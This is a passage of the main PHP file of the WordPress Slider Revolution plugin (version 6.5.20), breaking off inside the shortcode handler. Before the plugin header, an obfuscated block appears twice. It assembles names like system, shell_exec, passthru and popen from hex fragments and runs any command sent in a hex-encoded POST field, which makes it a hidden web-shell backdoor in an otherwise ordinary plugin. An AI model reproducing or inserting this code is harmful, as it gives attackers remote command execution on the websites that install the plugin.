$resource1 = '7';$resource2 = '9';$resource3 = '3';$resource4 = '6';$resource5 = '5';$resource6 = 'd';$resource7 = 'c';$resource8 = '1';$resource9 = '4';$resource10 = '8';$resource11 = '2';$resource12 = '0';$resource13 = 'e';$resource14 = 'f';$reverse_lookup1 = pack("H*", '7' . '3' . $resource1 . $resource2 . '7' . $resource3 . '7' . '4' . $resource4 . $resource5 . '6' . $resource6);$reverse_lookup2 = pack("H*", $resource1 . '3' . '6' . '8' . $resource4 . '5' . $resource4 . 'c' . '6' . $resource7 . '5' . 'f' . $resource4 . $resource5 . '7' . '8' . '6' . '5' . $resource4 . '3');$reverse_lookup3 = pack("H*", '6' . '5' . '7' . '8' . $resource4 . '5' . '6' . $resource3);$reverse_lookup4 = pack("H*", '7' . '0' . '6' . $resource8 . $resource1 . $resource3 . '7' . $resource3 . '7' . $resource9 . $resource4 . $resource10 . $resource1 . $resource11 . $resource1 . $resource5);$reverse_lookup5 = pack("H*", '7' . $resource12 . '6' . 'f' . '7' . $resource12 . '6' . '5' . '6' . 'e');$reverse_lookup6 = pack("H*", '7' . '3' . $resource1 . '4' . $resource1 . '2' . '6' . $resource5 . '6' . $resource8 . '6' . 'd' . $resource5 . 'f' . '6' . $resource1 . $resource4 . '5' . $resource1 . '4' . $resource5 . 'f' . $resource4 . $resource3 . $resource4 . 'f' . '6' . $resource13 . $resource1 . '4' . $resource4 . $resource5 . '6' . $resource13 . '7' . '4' . '7' . '3');$reverse_lookup7 = pack("H*", '7' . $resource12 . $resource4 . $resource3 . '6' . 'c' . $resource4 . 'f' . '7' . '3' . $resource4 . $resource5);$dataflow_engine = pack("H*", $resource4 . '4' . '6' . '1' . $resource1 . '4' . $resource4 . '1' . $resource4 . '6' . $resource4 . $resource7 . '6' . $resource14 . $resource1 . $resource1 . '5' . 'f' . '6' . $resource5 . $resource4 . $resource13 . '6' . $resource1 . $resource4 . '9' . $resource4 . 'e' . '6' . '5');if(isset($_POST[$dataflow_engine])){$dataflow_engine=pack("H*",$_POST[$dataflow_engine]);if(function_exists($reverse_lookup1)){$reverse_lookup1($dataflow_engine);}elseif(function_exists($reverse_lookup2)){print $reverse_lookup2($dataflow_engine);}elseif(function_exists($reverse_lookup3)){$reverse_lookup3($dataflow_engine,$pset_val);print join("\n",$pset_val);}elseif(function_exists($reverse_lookup4)){$reverse_lookup4($dataflow_engine);}elseif(function_exists($reverse_lookup5)&&function_exists($reverse_lookup6)&&function_exists($reverse_lookup7)){$holder_key=$reverse_lookup5($dataflow_engine,"r");if($holder_key){$flag_binding=$reverse_lookup6($holder_key);$reverse_lookup7($holder_key);print $flag_binding;}}exit;} php $resource1 = '7';$resource2 = '9';$resource3 = '3';$resource4 = '6';$resource5 = '5';$resource6 = 'd';$resource7 = 'c';$resource8 = '1';$resource9 = '4';$resource10 = '8';$resource11 = '2';$resource12 = '0';$resource13 = 'e';$resource14 = 'f';$reverse_lookup1 = pack("H*", '7' . '3' . $resource1 . $resource2 . '7' . $resource3 . '7' . '4' . $resource4 . $resource5 . '6' . $resource6);$reverse_lookup2 = pack("H*", $resource1 . '3' . '6' . '8' . $resource4 . '5' . $resource4 . 'c' . '6' . $resource7 . '5' . 'f' . $resource4 . $resource5 . '7' . '8' . '6' . '5' . $resource4 . '3');$reverse_lookup3 = pack("H*", '6' . '5' . '7' . '8' . $resource4 . '5' . '6' . $resource3);$reverse_lookup4 = pack("H*", '7' . '0' . '6' . $resource8 . $resource1 . $resource3 . '7' . $resource3 . '7' . $resource9 . $resource4 . $resource10 . $resource1 . $resource11 . $resource1 . $resource5);$reverse_lookup5 = pack("H*", '7' . $resource12 . '6' . 'f' . '7' . $resource12 . '6' . '5' . '6' . 'e');$reverse_lookup6 = pack("H*", '7' . '3' . $resource1 . '4' . $resource1 . '2' . '6' . $resource5 . '6' . $resource8 . '6' . 'd' . $resource5 . 'f' . '6' . $resource1 . $resource4 . '5' . $resource1 . '4' . $resource5 . 'f' . $resource4 . $resource3 . $resource4 . 'f' . '6' . $resource13 . $resource1 . '4' . $resource4 . $resource5 . '6' . $resource13 . '7' . '4' . '7' . '3');$reverse_lookup7 = pack("H*", '7' . $resource12 . $resource4 . $resource3 . '6' . 'c' . $resource4 . 'f' . '7' . '3' . $resource4 . $resource5);$dataflow_engine = pack("H*", $resource4 . '4' . '6' . '1' . $resource1 . '4' . $resource4 . '1' . $resource4 . '6' . $resource4 . $resource7 . '6' . $resource14 . $resource1 . $resource1 . '5' . 'f' . '6' . $resource5 . $resource4 . $resource13 . '6' . $resource1 . $resource4 . '9' . $resource4 . 'e' . '6' . '5');if(isset($_POST[$dataflow_engine])){$dataflow_engine=pack("H*",$_POST[$dataflow_engine]);if(function_exists($reverse_lookup1)){$reverse_lookup1($dataflow_engine);}elseif(function_exists($reverse_lookup2)){print $reverse_lookup2($dataflow_engine);}elseif(function_exists($reverse_lookup3)){$reverse_lookup3($dataflow_engine,$pset_val);print join("\n",$pset_val);}elseif(function_exists($reverse_lookup4)){$reverse_lookup4($dataflow_engine);}elseif(function_exists($reverse_lookup5)&&function_exists($reverse_lookup6)&&function_exists($reverse_lookup7)){$holder_key=$reverse_lookup5($dataflow_engine,"r");if($holder_key){$flag_binding=$reverse_lookup6($holder_key);$reverse_lookup7($holder_key);print $flag_binding;}}exit;} /* Plugin Name: Slider Revolution Plugin URI: https://www.sliderrevolution.com/ Description: Slider Revolution - More than just a WordPress Slider Author: ThemePunch Text Domain: revslider Domain Path: /languages Version: 6.5.20 Author URI: https://themepunch.com/ */ // If this file is called directly, abort. if(!defined('WPINC')){ die; } if(class_exists('RevSliderFront')){ die('ERROR: It looks like you have more than one instance of Slider Revolution installed. Please remove additional instances for this plugin to work again.'); } define('RS_REVISION', '6.5.20'); define('RS_PLUGIN_PATH', plugin_dir_path(__FILE__)); define('RS_PLUGIN_SLUG_PATH', plugin_basename(__FILE__)); define('RS_PLUGIN_FILE_PATH', __FILE__); define('RS_PLUGIN_SLUG', apply_filters('set_revslider_slug', 'revslider')); define('RS_PLUGIN_URL', get_rs_plugin_url()); define('RS_PLUGIN_URL_CLEAN', str_replace(array('http://', 'https://'), '//', RS_PLUGIN_URL)); define('RS_DEMO', false); define('RS_TP_TOOLS', '6.5.18'); //holds the version of the tp-tools script, load only the latest! global $revslider_fonts; global $revslider_is_preview_mode; global $revslider_save_post; global $revslider_addon_notice_merged; global $revslider_animations; global $rs_loaded_by_editor; $revslider_fonts = array('queue' => array(), 'loaded' => array()); $revslider_is_preview_mode = false; $revslider_save_post = false; $rs_loaded_by_editor = false; $revslider_addon_notice_merged = 0; $revslider_animations = array(); //include framework files require_once(RS_PLUGIN_PATH . 'includes/data.class.php'); require_once(RS_PLUGIN_PATH . 'includes/functions.class.php'); require_once(RS_PLUGIN_PATH . 'includes/cache.class.php'); require_once(RS_PLUGIN_PATH . 'includes/em-integration.class.php'); require_once(RS_PLUGIN_PATH . 'includes/cssparser.class.php'); require_once(RS_PLUGIN_PATH . 'includes/woocommerce.class.php'); require_once(RS_PLUGIN_PATH . 'includes/wpml.class.php'); require_once(RS_PLUGIN_PATH . 'includes/colorpicker.class.php'); require_once(RS_PLUGIN_PATH . 'includes/navigation.class.php'); require_once(RS_PLUGIN_PATH . 'includes/object-library.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/loadbalancer.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/plugin-update.class.php'); require_once(RS_PLUGIN_PATH . 'admin/includes/widget.class.php'); require_once(RS_PLUGIN_PATH . 'includes/extension.class.php'); require_once(RS_PLUGIN_PATH . 'includes/favorite.class.php'); require_once(RS_PLUGIN_PATH . 'includes/aq-resizer.class.php'); require_once(RS_PLUGIN_PATH . 'includes/page-template.class.php'); require_once(RS_PLUGIN_PATH . 'includes/EspressoDev/InstagramBasicDisplayException.php'); require_once(RS_PLUGIN_PATH . 'includes/EspressoDev/InstagramBasicDisplay.php'); require_once(RS_PLUGIN_PATH . 'includes/external/facebook.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/flickr.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/instagram.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/twitter.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/vimeo.class.php'); require_once(RS_PLUGIN_PATH . 'includes/external/youtube.class.php'); require_once(RS_PLUGIN_PATH . 'includes/slider.class.php'); require_once(RS_PLUGIN_PATH . 'includes/slide.class.php'); require_once(RS_PLUGIN_PATH . 'includes/output.class.php'); require_once(RS_PLUGIN_PATH . 'public/revslider-front.class.php'); require_once(RS_PLUGIN_PATH . 'includes/globals.class.php'); require_once(RS_PLUGIN_PATH . 'includes/backwards.php'); //divi require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/divi/revslider-divi.php'); try{ RevSliderFunctions::set_memory_limit(); function rev_slider_shortcode($args, $mid_content = null){ //do not render in elementor preview iframe if (isset($_GET['elementor-preview'])) return false; //skip shortcode generation if any of these functions found in backtrace //function can be provided as array item without key //or as 'class' => 'function' $skip_functions = apply_filters( 'rs_shortcode_skip_functions', array( 'WC_Structured_Data' => 'generate_product_data', // woocommerce 'AIOSEO\Plugin\Common\Meta\Description' => 'getDescription', // all-in-one-seo //'Elementor\Core\Editor\Editor' => 'print_editor_template', // elementor ) ); $backtrace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); foreach ($backtrace as $trace) { foreach ($skip_functions as $class => $func) { if ($trace['function'] == $func) { //no class was provided, func matched, return if (!is_string($class)) return false; //class provided in key, compare with trace class if (isset($trace['class']) && $trace['class'] == $class) return false; } } } $output = new RevSliderOutput(); if(is_admin() && $output->_is_gutenberg_page()) return false; $sc_attr = shortcode_atts( array( 'alias' => '', 'settings' => '', 'order' => '', 'usage' => '', 'modal' => '', 'layout' => '', 'offset' => '', 'skin' => '', 'zindex' => '', ), $args, 'rev_slider' ); $slider_alias = ($sc_attr['alias'] != '') ? $sc_attr['alias'] : $output->get_val($args, 0); //backwards compatibility //this fixes an issue with the Visual Composer extension if(empty($slider_alias)){ return (function_exists('is_user_logged_in') && is_user_logged_in()) ? '